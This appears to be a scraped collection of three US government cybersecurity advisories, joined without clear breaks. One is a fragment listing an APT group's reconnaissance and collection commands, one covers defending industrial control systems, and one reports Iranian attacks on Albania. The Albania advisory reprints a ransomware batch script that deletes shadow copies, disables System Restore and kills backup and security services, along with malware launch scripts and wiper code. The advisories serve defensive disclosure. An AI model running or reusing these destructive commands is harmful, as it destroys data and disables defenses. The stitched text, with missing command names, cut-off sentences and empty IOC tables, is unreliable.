An alias (shorthand) for the PowerShell Get-ChildItem cmdlet. This command maps shared drives by specifying a path to one location and retrieving the items from another.[2] The threat actor added additional switches (aka options, parameters, or flags) to form a “one liner,” an expression to describe commonly used commands used in exploitation: powershell dir -recurse -path e:\<redacted>|select fullname,length|export-csv c:\windows\temp\temp.txt. This particular command lists subdirectories of the target environment when.


Displays detailed configuration information [3], tasklist – lists currently running processes [4], and ipconfig displays all current Transmission Control Protocol (TCP)/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings, respectively [5]. The threat actor used these commands with specific switches to determine if the system was a VMware virtual machine: systeminfo > vmware & date /T, tasklist /v > vmware & date /T, and ipconfig /all >> vmware & date /.

route print

Used to display and modify the entries in the local IP routing table. [6] The threat actor used this command to display the entries in the local IP routing table.


Used to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics.[7] The threat actor used this command with three switches to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP: netstat -anp tcp.


Used to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.[8] The threat actor used this command with three switches to test if they could download files from the internet: certutil -urlcache -split -f temp.html.


Sends Internet Control Message Protocol (ICMP) echoes to verify connectivity to another TCP/IP computer.[9] The threat actor used ping -n 2 to either test their internet connection or to detect and avoid virtualization and analysis environments or network restrictions.


Used to end tasks or processes.[10] The threat actor used taskkill /F /PID 8952 to probably disable security features. CISA was unable to determine what this process was as the process identifier (PID) numbers are dynamic.

PowerShell Compress-Archive cmdlet

Used to create a compressed archive or to zip files from specified files and directories.[11] The threat actor used parameters indicating shared drives as file and folder sources and the destination archive as zipped files. Specifically, they collected sensitive contract-related information from the shared drives.


On the second day, the APT cyber actors executed the commands in Table 3 to perform discovery as well as collect and archive data.

Table 3: Windows Command Shell Activity (Day 2)


Description / Use


Used to obtain volume information from the New Technology File System (NTFS) and to print it along with a directory dump of NTFS meta-data files.[12]


Used to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe.[13]


On the third day, the APT cyber actors returned to the organization’s network and executed the commands in Table 4.

Table 4: Windows Command Shell Activity (Day 3)


Description / Use

powershell -ep bypass import-module .\vmware.ps1;export-mft -volume e

Threat actors ran a PowerShell command with parameters to change the execution mode and bypass the Execution Policy to run the script from PowerShell and add a module to the current section: powershell -ep bypass import-module .\vmware.ps1;export-mft -volume e. This module appears to acquire and export the Master File Table (MFT) for volume E for further analysis by the cyber actor.[14]


Used to display the current environment variable settings.[15] (An environment variable is a dynamic value pointing to system or user environments (folders) of the system. System environment variables are defined by the system and used globally by all users, while user environment variables are only used by the user who declared that variable and they override the system environment variables (even if the variables are named the same).


Used to display a list of a directory’s files and subdirectories matching the eagx* text string, likely to confirm the existence of such file.

tasklist.exe and find.exe

Used to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers”.[16][17][18]


Used to send two ICMP echos to This could have been to detect or avoid virtualization and analysis environments, circumvent network restrictions, or test their internet connection.[19]

del.exe with the /f parameter

Used to force the deletion of read-only files with the *.rar and tempg* wildcards.[20]


Control System Defense: Know the Opponent

Traditional approaches to securing OT/ICS do not adequately address current threats.

Operational technology/industrial control system (OT/ICS) assets that operate, control, and monitor day-to-day critical infrastructure and industrial processes continue to be an attractive target for malicious cyber actors. These cyber actors, including advanced persistent threat (APT) groups, target OT/ICS assets to achieve political gains, economic advantages, or destructive effects. Because OT/ICS systems manage physical operational processes, cyber actors’ operations could result in physical consequences, including loss of life, property damage, and disruption of National Critical Functions.

OT/ICS devices and designs are publicly available, often incorporate vulnerable information technology (IT) components, and include external connections and remote access that increase their attack surfaces. In addition, a multitude of tools are readily available to exploit IT and OT systems. As a result of these factors, malicious cyber actors present an increasing risk to ICS networks.

Traditional approaches to securing OT/ICS do not adequately address current threats to those systems. However, owners and operators who understand cyber actors’ tactics, techniques, and procedures (TTPs) can use that knowledge when prioritizing hardening actions for OT/ICS.

This joint Cybersecurity Advisory, which builds on previous NSA and CISA guidance to stop malicious ICS activity and reduce OT exposure [1] [2], describes TTPs that malicious actors use to compromise OT/ICS assets. It also recommends mitigations that owners and operators can use to defend their systems. NSA and CISA encourage OT/ICS owners and operators to apply the recommendations in this CSA.

Download the PDF version of this report: pdf, 538.12 kb

OT/ICS assets operate, control, and monitor industrial processes throughout U.S. critical infrastructure. Traditional ICS assets are difficult to secure due to their design for maximum availability and safety, coupled with their use of decades-old systems that often lack any recent security updates. Newer ICS assets may be able to be configured more securely, but often have an increased attack surface due to incorporating Internet or IT network connectivity to facilitate remote control and operations. The net effect of the convergence of IT and OT platforms has increased the risk of cyber exploitation of control systems. [3]

Today’s cyber realm is filled with well-funded malicious cyber actors financed by nation-states, as well as less sophisticated groups, independent hackers, and insider threats. Control systems have been targeted by a variety of these malicious cyber actors in recent years to achieve political gains, economic advantages, and possibly destructive effects. [4] [5] [6] [7] [8] More recently, APT actors have also developed tools for scanning, compromising, and controlling targeted OT devices. [9] 

Malicious actors’ game plan for control system intrusions

Cyber actors typically follow these steps to plan and execute compromises against critical infrastructure control systems:

  1. Establish intended effect and select a target.
  2. Collect intelligence about the target system.
  3. Develop techniques and tools to navigate and manipulate the system.
  4. Gain initial access to the system.
  5. Execute techniques and tools to create the intended effect.

Leveraging specific expertise and network knowledge, malicious actors such as nation-state actors can conduct these steps in a coordinated manner, sometimes concurrently and repeatedly, as illustrated by real world cyber activity. [5] [10]

Establish intended effect and select a target

Cyber actors, from cyber criminals to state-sponsored APT actors, target critical infrastructure to achieve a variety of objectives. Cyber criminals are financially motivated and target OT/ICS assets for financial gain (e.g., data extortion or ransomware operations). State-sponsored APT actors target critical infrastructure for political and/or military objectives, such as destabilizing political or economic landscapes or causing psychological or social impacts on a population. The cyber actor selects the target and the intended effect—to disrupt, disable, deny, deceive, and/or destroy—based on these objectives. For example, disabling power grids in strategic locations could destabilize economic landscapes or support broader military campaigns. Disrupting water treatment facilities or threatening to destroy a dam could have psychological or social impacts on a population. [11] [12]

Collect intelligence about the target system

Once the intent and target are established, the actor collects intelligence on the targeted control system. The actor may collect data from multiple sources, including:

  • Open-source research: A great deal of information about control systems and their designs is publicly available. For example, solicitation information and employment advertisements may indicate components and—list specific model numbers.
  • Insider threats: The actor may also leverage trusted insiders, even unwitting ones, for collecting information. Social engineering often elicits a wealth of information from people looking for a new job or even just trying to help.
  • Enterprise networks: The actor may compromise enterprise IT networks and collect and exfiltrate ICS-related information. Procurement documents, engineering specifications, and even configurations may be stored on corporate IT networks.

In addition to OT-specific intelligence, information about IT technologies used in control systems is widely available. Knowledge that was once limited to control system engineers and OT operators has become easily available as IT technologies move into more of the control system environment. Control system vendors, in conjunction with the owner/operator community, have continually optimized and reduced the cost of engineering, operating, and maintaining control systems by incorporating more commodity IT components and technologies in some parts of OT environments. These advancements sometimes can make information about some systems easily available, thereby increasing the risk of cyber exploitation. 

Develop techniques and tools

Using the intelligence collected about the control system’s design, a cyber actor may procure systems that are similar to the target and configure them as mock-up versions for practice purposes. Nation-state actors can easily obtain most control system equipment. Groups with limited means can still often acquire control systems through willing vendors and secondhand resellers.

Access to a mock-up of the target system enables an actor to determine the most effective tools and techniques. A cyber actor can leverage resident system utilities, available exploitation tools; or, if necessary, develop or purchase custom tools to affect the control system. Utilities that are already on the system can be used to reconfigure settings and may have powerful troubleshooting capabilities. 

As the control system community has incorporated commodity IT and modernized OT, the community has simplified the tools, techniques, scripts, and software packages used in control systems. As a result, a multitude of convenient tools are readily available to exploit IT and OT systems.

Actors may also develop custom ICS-focused malware based on their knowledge of the control systems. For example, TRITON malware was designed to target certain versions of Triconex Tricon programmable logic controllers (PLCs) by modifying in-memory firmware to add additional programming. The extra functionality allows an actor to read/modify memory contents and execute custom code, disabling the safety system. [13] APT actors have also developed tools to scan for, compromise, and control certain Schneider Electric PLCs, OMRON Sysmac NEX PLCs, and Open Platform Communications Unified Architecture (OPC UA) servers. [9] 

With TTPs in place, a cyber actor is prepared to do virtually anything that a normal system operator can, and potentially much more.

Gain initial access to the system

To leverage the techniques and tools that they developed and practiced, cyber actors must first gain access to the targeted system. 

Most modern control systems maintain remote access capabilities allowing vendors, integrators, service providers, owners, and operators access to the system. Remote access enables these parties to perform remote monitoring services, diagnose problems remotely, and verify warranty agreements. 

However, these access points often have poor security practices, such as using default and maintenance passwords. Malicious cyber actors can leverage these access points as vectors to covertly gain access to the system, exfiltrate data, and launch other cyber activities before an operator realizes there is a problem. Malicious actors can use web-based search platforms, such as Shodan, to identify these exposed access points. 

Vendor access to control systems typically use connections that create a bridge between control system networks and external environments. Often unknown to the owner/operator, this bridge provides yet another path for cyber exploitation and allows cyber actors to take advantage of vulnerabilities in other infrastructure to gain access to the control system. 

Remote access points and methodologies use a variety of access and communication protocols. Many are nothing more than vendor-provided dial-up modems and network switches protected only by obscurity and passwords. Some are dedicated devices and services that communicate via more secure virtual private networks (VPNs) and encryption. Few, if any, offer robust cybersecurity capabilities to protect the control system access points or prevent the transmission of acquired data outside the relatively secure environment of the isolated control system. This access to an ostensibly closed control system can be used to exploit the network and components.

Execute techniques and tools to create the intended effects

Once an actor gains initial access to targeted OT/ICS system, the actor will execute techniques, tools, and malware to achieve the intended effects on the target system. To disrupt, disable, deny, deceive, and/or destroy the system, the malicious actor often performs, in any order or in combination, the following activities:

  1. Degrade the operator’s ability to monitor the targeted system or degrade the operator’s confidence in the control system’s ability to operate, control, and monitor the targeted system. Functionally, an actor could prevent the operator’s display (human machine interface, or HMI) from being updated and selectively update or change visualizations on the HMI, as witnessed during the attack on the Ukraine power grid. [5] (Manipulation of View [T0832] )
  2. Operate the targeted control system. Functionally, this includes the ability to modify analog and digital values internal to the system (changing alarms and adding or modifying user accounts), or to change output control points — this includes abilities such as altering tap changer output signals, turbine speed demand, and opening and closing breakers. (Manipulation of Control [T0831])
  3. Impair the system’s ability to report data. Functionally, this is accomplished by degrading or disrupting communications with external communications circuits (e.g., ICCP , HDLC , PLC , VSAT, SCADA radio, other radio frequency mediums), remote terminal units (RTUs) or programmable logic controllers (PLCs), connected business or corporate networks, HMI subnetworks, other remote I/O, and any connected Historian/bulk data storage. (Block Reporting Message [T0804], Denial of View [T0815])
  4. Deny the operator’s ability to control the targeted system. Functionally, this includes the ability to stop, abort, or corrupt the system’s operating system (OS) or the supervisory control and data acquisition (SCADA) system’s software functionality. (Denial of Control [T0813])
  5. Enable remote or local reconnaissance on the control system. Functionally, an actor could obtain system configuration information to enable development of a modified system configuration or a custom tool. (Collection [TA0100], Theft of Operational Information [T0882])

Using these techniques, cyber actors could cause various physical consequences. They could open or close breakers, throttle valves, overfill tanks, set turbines to over-speed, or place plants in unsafe operating conditions. Additionally, cyber actors could manipulate the control environment, obscuring operator awareness and obstructing recovery, by locking interfaces and setting monitors to show normal conditions. Actors can even suspend alarm functionality, allowing the system to operate under unsafe conditions without alerting the operator. Even when physical safety systems should prevent catastrophic physical consequences, more limited effects are possible and could be sufficient to meet the actor’s intent. In some scenarios though, if an actor simultaneously manipulates multiple parts of the system, the physical safety systems may not be enough. Impacts to the system could be temporary or permanent, potentially even including physical destruction of equipment. 

The complexity of balancing network security with performance, features, ease-of-use, and availability can be overwhelming for owner/operators. This is especially true where system tools and scripts enable ease-of-use and increase availability or functionality of the control network; and when equipment vendors require remote access for warranty     compliance, service obligations, and financial/billing functionality. However, with the increase in targeting of OT/ICS by malicious actors, owner/operators should be more cognizant of the risks when making these balancing decisions. Owner/operators should also carefully consider what information about their systems needs to be publicly available and determine if each external connection is truly needed. [1] 

System owners and operators cannot prevent a malicious actor from targeting their systems. Understanding that being targeted is not an “if” but a “when” is essential context for making ICS security decisions. By assuming that the system is being targeted and predicting the effects that a malicious actor would intend to cause, owner/operators can employ and prioritize mitigation actions.

However, the variety of available security solutions can also be intimidating, resulting in choice paralysis. In the midst of so many options, owner/operators may be unable to incorporate simple security and administrative strategies that could mitigate many of the common and realistic threats. Fortunately, owner/operators can apply a few straightforward ICS security best practices to counter adversary TTPs. 

Limit exposure of system information

Operational and system information and configuration data is a key element of critical infrastructure operations. The importance of keeping such data confidential cannot be overstated. To the extent possible, avoid disclosing information about system hardware, firmware, and software in any public forum. Incorporate information protection education into training for personnel. Limit information that is sent out from the system.

Document the answers to the following questions:

  1. From where and to where is data flowing?
  2. How are the communication pathways documented and how is the data secured/encrypted?
  3. How is the data used and secured when it arrives at its destination?
  4. What are the network security standards at the data destination, whether a vendor/regulator or administrator/financial institution? 
  5. Can the data be shared further once at its destination? Who has the authority to share this data?

Eliminate all other data destinations. Share only the data necessary to comply with applicable legal requirements, such as those contractually required by vendors—nothing more. Do not allow other uses of the data and other accesses to the system without strict administrative policies designed specifically to protect the data. Prevent new connections to the control system using strict administrative accountability. Ensure strict agreements are in place with outside systems/vendors when it comes to sharing, access, and use. Have strong policies for the destruction of such data. Audit policies and procedures to verify compliance and secure data once it gets to its destination, and determine who actually has access to it. 

Identify and secure remote access points

Owner/operators must maintain detailed knowledge of all installed systems, including which remote access points are—or could be—operating in the control system network. Creating a full “connectivity inventory” is a critical step in securing access to the system.

Many vendor-provided devices maintain these access capabilities as an auxiliary function and may have services that will automatically ‘phone home’ in an attempt to register and update software or firmware. A vendor may also have multiple access points to cover different tasks. 

Once owner/operators have identified all remote access points on their systems, they can implement the following recommendations to improve their security posture:

  • Reduce the attack surface by proactively limiting and hardening Internet-exposed assets. See CISA’s Get Your Stuff Off Search page for more information.
  • Establish a firewall and a demilitarized zone (DMZ) between the control system and the vendor’s access points and devices. Do not allow direct access into the system; use an intermediary service to share only necessary data and only when required. For more information see CISA’s infographic Layering Network Security Through Segmentation. [14]
  • Consider using virtual private networks (VPNs) at specific points to and from the system rather than allowing separate access points for individual devices or vendors.
  • Utilize jump boxes to isolate and monitor access to the system.
  • Ensure that data can only flow outward from the system – administratively and physically. Use encrypted links to exchange data outside of the system.
  • Enforce strict compliance with policies and procedures for remote access, even if personnel complain that it is too difficult.
  • If the system does not use vendor access points and devices, ensure that none are active. Use strict hardware, software, and administrative techniques to prevent them from becoming covertly active.
  • Do not allow vendor-provided system access devices and software to operate continuously in the system without full awareness of their security posture and access logs.
  • Install and keep current all vendor-provided security systems associated with the installed vendor access points.
  • Review configurations to ensure they are configured securely. Operators typically focus on necessary functionality, so properly securing the configurations and remote access may be overlooked. 
  • Consider penetration testing to validate the system’s security posture and any unknown accesses or access vulnerabilities. 
  • Add additional security features to the system as needed. Do not assume that one vendor has a monopoly on the security of their equipment; other vendors may produce security features to fill gaps. 
  • Change all default passwords throughout the system and update any products with hard-coded passwords, especially in all remote access and security components.
  • Patch known exploited vulnerabilities whenever possible. Prioritize timely patching of all remote access points. Keep operating systems, firewalls, and all security features up-to-date.
  • Continually monitor remote access logs for suspicious accesses. Securely aggregate logs for easier monitoring.

Restrict tools and scripts 

Limit access to network and control system application tools and scripts to legitimate users performing legitimate tasks on the control system. Removing the tools and scripts entirely and patching embedded control system components for exploitable vulnerabilities is often not feasible. Thus, carefully apply access and use limitations to particularly vulnerable processes and components to limit the threat.

The control system and any accompanying vendor access points may have been delivered with engineering, configuration, and diagnostic tools pre-installed. Engineers use these tools to configure and modify the system and its processes as needed. However, such tools can also be used by a malicious actor to manipulate the system, without needing any special additional tools. Using the system against itself is a powerful cyber exploitation technique. Mitigations strategies include:

  1. Identify any engineering, configuration, or diagnostic tools.
  2. Securely store gold copies of these tools external to the system if possible.
  3. Remove all non-critical tools.
  4. Prevent these tools from being reinstalled.
  5. Perform routine audits to check that these tools have not been reinstalled.

Conduct regular security audits

The owner/operator of the control system should consider performing an independent security audit of the system, especially of third-party vendor access points and systems. The owner/operator cannot solely depend on the views, options, and guidance of the vendor/integrator that designed, developed, or sold the system. The goal of such an audit is to identify and document system vulnerabilities, practices, and procedures that should be eliminated to improve the cyber defensive posture, and ultimately prevent malicious cyber actors from being able to cause their intended effects. Steps to consider during an audit include the following:

  1. Validate all connections (e.g., network, serial, modem, wireless, etc.).
  2. Review system software patching procedures.
  3. Confirm secure storage of gold copies (e.g., OS, firmware, patches, configurations, etc.).
  4. Verify removal from the system of all non-critical software, services, and tools.
  5. Audit the full asset inventory. 
  6. Implement CISA ICS mitigations and best practices. [15] [16]
  7. Monitor system logs and intrusion detection system (IDS) logs.

Implement a dynamic network environment

Static network environments provide malicious actors with persistent knowledge of the system. A static network can provide cyber actors the opportunity to collect bits of intelligence about the system over time, establish long-term accesses into the system, and develop the tools and TTPs to affect the control system as intended. 

While it may be unrealistic for the administrators of many OT/ICS environments to make regular non-critical changes, owner/operators should consider periodically making manageable network changes. A little change can go a long way to disrupt previously obtained access by a malicious actor. Consider the following:

  1. Deploy additional firewalls and routers from different vendors.
  2. Modify IP address pools.
  3. Replace outdated hardware (e.g., workstations, servers, printers, etc.).
  4. Upgrade operating systems.
  5. Install or upgrade commercially available security packages for vendor access points and methodologies.

Planning these changes with significant forethought can help minimize the impact on network operation.

Owner/operators should familiarize themselves with the risks to the system as outlined by the product vendor. These may be described in manuals as the system using insecure protocols for interoperability or certain configurations that may expose the system in additional ways. Changes to the system to reduce these risks should be considered and implemented when feasible.


The combination of integrated, simplified tools and remote accesses creates an environment ripe for malicious actors to target control systems networks. New IT-enabled accesses provide cyber actors with a larger attack surface into cyber-physical environments. It is vital for OT/ICS defenders to anticipate the TTPs of cyber actors combining IT expertise with engineering know-how. Defenders can employ the mitigations listed in this advisory to limit unauthorized access, lock down tools and data flows, and deny malicious actors from achieving their desired effects. 

Disclaimer of endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.


This advisory was developed by NSA and CISA in furtherance of their cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.


Iranian State Actors Conduct Cyber Operations Against the Government of Albania

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory to provide information on recent cyber operations against the Government of Albania in July and September. This advisory provides a timeline of activity observed, from initial access to execution of encryption and wiper attacks. Additional information concerning files used by the actors during their exploitation of and cyber attack against the victim organization is provided in Appendices A and B.

In July 2022, Iranian state cyber actors—identifying as “HomeLand Justice”—launched a destructive cyber attack against the Government of Albania which rendered websites and services unavailable. A FBI investigation indicates Iranian state cyber actors acquired initial access to the victim’s network approximately 14 months before launching the destructive cyber attack, which included a ransomware-style file encryptor and disk wiping malware. The actors maintained continuous network access for approximately a year, periodically accessing and exfiltrating e-mail content.

Between May and June 2022, Iranian state cyber actors conducted lateral movements, network reconnaissance, and credential harvesting from Albanian government networks. In July 2022, the actors launched ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message on desktops. When network defenders identified and began to respond to the ransomware activity, the cyber actors deployed a version of ZeroCleare destructive malware.

In June 2022, HomeLand Justice created a website and multiple social media profiles posting anti-MEK messages. On July 18, 2022, HomeLand Justice claimed credit for the cyber attack on Albanian government infrastructure. On July 23, 2022, Homeland Justice posted videos of the cyber attack on their website. From late July to mid-August 2022, social media accounts associated with HomeLand Justice demonstrated a repeated pattern of advertising Albanian Government information for release, posting a poll asking respondents to select the government information to be released by HomeLand Justice, and then releasing that information—either in a .zip file or a video of a screen recording with the documents shown.

In September 2022, Iranian cyber actors launched another wave of cyber attacks against the Government of Albania, using similar TTPs and malware as the cyber attacks in July. These were likely done in retaliation for public attribution of the cyber attacks in July and severed diplomatic ties between Albania and Iran.

Download the PDF version of this report: pdf, 1221 kb

Initial access

Timeframe: Approximately 14 months before encryption and wiper attacks.

Details: Initial access was obtained via exploitation of an Internet-facing Microsoft SharePoint, exploiting CVE-2019-0604.

Persistence and Lateral movement

Timeframe: Approximately several days to two months after initial compromise.

Details: After obtaining access to the victim environment, the actors used several .aspx webshells, pickers.aspx, error4.aspx, and ClientBin.aspx, to maintain persistence. During this timeframe, the actors also used RDP (primarily), SMB, and FTP for lateral movement throughout the victim environment.

Exchange Server compromise

Timeframe: Approximately 1-6 months after initial compromise.

Details: The actors used a compromised Microsoft Exchange account to run searches (via CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including for administrator accounts. In this timeframe, the actors used the compromised account to create a new Exchange account and add it to the Organization Management role group.

Likely Email exfiltration

Timeframe: Approximately 8 months after initial compromise.

Details: The actors made thousands of HTTP POST requests to Exchange servers of the victim organization. The FBI observed the client transferring roughly 70-160 MB of data, and the server transferring roughly 3-20 GB of data.

VPN activity

Timeframe: Approximately 12-14 months after initial compromise.

Details: Approximately twelve months after initial access and two months before launching the destructive cyber attack, the actors made connections to IP addresses belonging to the victim organization’s Virtual Private Network (VPN) appliance. The actors’ activity primarily involved two compromised accounts. The actors executed the “Advanced Port Scanner” (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz usage and LSASS dumping.

File Cryptor (ransomware-style file encryptor)

Timeframe: Approximately 14 months after initial compromise.

Details: For the encryption component of the cyber attack, the actor logged in to a victim organization print server via RDP and kicked off a process (Mellona.exe) which would propagate the GoXml.exe encryptor to a list of internal machines, along with a persistence script called win.bat. As deployed, GoXML.exe encrypted all files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt in each folder impacted.

Wiper attack

Timeframe: Approximately 14 months after initial compromise.

Details: In the same timeframe as the encryption attack, the actors began actions that resulted in raw disk drives being wiped with the Disk Wiper tool (cl.exe) described in Appendix A. Approximately over the next eight hours, numerous RDP connections were logged from an identified victim server to other hosts on the victim’s network. Command line execution of cl.exe was observed in cached bitmap files from these RDP sessions on the victim server.

  • Ensure anti-virus and anti-malware software is enabled and signature definitions are updated regularly and in a timely manner. Well-maintained anti-virus software may prevent use of commonly deployed cyber attacker tools that are delivered via spear-phishing.
  • Adopt threat reputation services at the network device, operating system, application, and email service levels. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spear-phishing attacks.
  • If your organization is employing certain types of software and appliances vulnerable to known Common Vulnerabilities and Exposures (CVEs), ensure those vulnerabilities are patched. Prioritize patching known exploited vulnerabilities.
  • Monitor for unusually large amounts of data (i.e. several GB) being transferred from a Microsoft Exchange server.
  • Check the host-based indications, including webshells, for positive hits within your environment.

Additionally, FBI and CISA recommend organizations apply the following best practices to reduce risk of compromise:

  • Maintain and test an incident response plan.
  • Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations.
  • Properly configure and secure internet-facing network devices.
    • Do not expose management interfaces to the internet.
    • Disable unused or unnecessary network ports and protocols.
    • Disable/remove unused network services and devices.
  • Adopt zero-trust principles and architecture, including:
    • Micro-segmenting networks and functions to limit or block lateral movements.
    • Enforcing phishing-resistant multifactor authentication (MFA) for all users and VPN connections.
    • Restricting access to trusted devices and users on the networks.

For more information on Iranian government-sponsored malicious cyber activity, see CISA’s webpage – Iran Cyber Threat Overview and Advisories.

Appendix A

Host-based IOCs

Additional details concerning some of these files are provided in Appendix B.


MD5 Hash
















Webshell (reverse-proxy connections)









Propagation for Encryptor



Launches GoXml.exe on startup



Changes desktop background to encryption image



Saves SAM and SYSTEM hives to C:\Temp, makes cab archive



Disables Windows Defender



Raw disk driver utilized by wiper malware





Network-based IOCs

FBI review of Commercial VPN service IP addresses revealed the following resolutions (per Akamai data):



























Appendix B

Ransomware Cryptor

GoXML.exe is a ransomware style file encryptor. It is a Windows executable, digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC, a subsidiary of Saudi Telecommunications Company (STC).

If executed with five or more arguments (the arguments can be anything, as long as there are five or more), the program silently engages its file encryption functionality. Otherwise, a file-open dialog Window is presented, and any opened documents receive an error prompt labeled, Xml Form Builder.

All internal strings are encrypted with a hard coded RC4 key. Before internal data is decrypted, the string decryption routine has a built-in self-test that decrypts a DWORD value and tests to see if the plaintext is the string yes. If so, it will continue to decode its internal strings.

The ransomware will attempt to launch the following batch script; however, this will fail due to a syntax error.

@for /F “skip=1” %C in (‘wmic LogicalDisk get DeviceID’) do (@wmic /namespace:\\root\default Path SystemRestore Call disable “%C\” & @rd /s /q %C\$Recycle.bin)

@vssadmin.exe delete shadows /all /quiet

@set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc

@for %C in (%SrvLst%) do @net stop %C

@set SrvLst=

@set PrcLst=mysql sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad

@for %C in (%PrcLst%) do @taskkill /f /im “%C.exe”

@set PrcLst=



The syntax error consists of a missing backslash that separates system32 and cmd.exe, so the process is launched as system32cmd.exe which is an invalid command.

Script Launch Bug


The ransomware’s file encryption routine will generate a random string, take the MD5 hash and use that to generate an RC4 128 key which is used to encrypt files. This key is encrypted with a hard coded Public RSA key and converted to Base64 utilizing a custom alphabet. This is appended to the end of the ransom note.

The cryptor places a file called How_To_Unlock_MyFiles.txt in directories with encrypted files.

Each encrypted file is given the .lck extension and the contents of each file are only encrypted up to 0x100000 or 1,048,576 bytes which is a hard coded limit.

Separately, the actor ran a batch script (win.bat below) to set a specific desktop background.

File Details


File Size:

43.48 KB (44520 bytes)









:RFu8QAFzffJui79f13/AnB5EPAkX (Ver 1.1)

File Type:

PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

PE Header Timestamp:

2016-04-30 17:08:19



Cert #0 Subject C=KW, L=Salmiya, O=Kuwait Telecommunications Company KSC, OU=Kuwait Telecommunications Company, CN=Kuwait Telecommunications Company KSC

Cert #0 Issuer  C=US, O=DigiCert Inc,, CN=DigiCert SHA2 Assured ID Code Signing CA

Cert #0 SHA1    55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f


win.bat (#1, run malware)

File Size:

67 bytes








3:LjTFKCkRErG+fyM1KDCFUF82G:r0aH1+DF82G (Ver 1.1)

File Type:

ASCII text, with no line terminators


start /min C:\ProgramData\Microsoft\Windows\GoXml.exe 1 2 3 4 5 6 7


win.bat (#2, install desktop image)



File Size:

765 bytes









+Et:wq69/kZxZ3mTDY9HY9HY9HY9HY9j (Ver 1.1)

File Type:

DOS batch file text, ASCII text, with CRLF line terminators


@echo off

setlocal enabledelayedexpansion

set “Wtime=!time:~0,2!”

if “!Wtime!” leq “20” reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /t REG_SZ /d “c:\programdata\GoXml.jpg” /f & goto done

if “!Wtime!” geq “20” reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /t REG_SZ /d “c:\programdata\GoXml.jpg” /f & goto done


timeout /t 5 >nul

start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start “” /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True




File Size:

1.2 MB (1259040 bytes)









VjpJT/n37p:MHyUt7yQaaPXS6pjar+MwrjpJ7VIbZg (Ver 1.1)

File Type:

JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484], progressive, precision 8, 2484×1752, components 4


Adobe Photoshop 22.4 (Windows)

Modify Date:

2022-07-13 20:45:20

Create Date:

2020-06-11 02:13:33

Metadata Date:

2022-07-13 20:45:20

Profile Date Time:

2000-07-26 05:41:53

Image Size:


File Size:

1.2 MB (1259040 bytes)



Disk Wiper

The files cl.exe and rwdsk.sys are part of a disk wiper utility that provides raw access to the hard drive for the purposes of wiping data. From the command line the cl.exe file accepts the arguments:

  • in
  • un
  • wp <optional argument>

If executed with the in command, the utility will output in start! and installs a hard coded file named rwdsk.sys as a service named RawDisk3. The .SYS file is not extracted from the installer however, but rather the installer looks for the file in the same directory that the cl.exe is executed in. 

It will also load the driver after installation.

The un command uninstalls the service, outputting the message “un start!” to the terminal.
The wp command will access the loaded driver for raw disk access.

Raw Disk Access

The long hexadecimal string is hard coded in the cl.exe binary.

      RawDisk3File = (void *)toOpenRawDisk3File(




      ptrRawDiskFile = RawDisk3File;

      if ( RawDisk3File )


        sizeDisk = toGetDiskSize(RawDisk3File);

        terminal_out(“Total Bytez : %lld\n”, sizeDisk << 9);

The wp command also takes an additional argument as a device path to place after \RawDisk3\ in the output string. It is uncertain what creates this path to a device as the driver tested did not.

The output is “wp starts!” followed by the total bytes of the drive and the time the wipe operation takes.

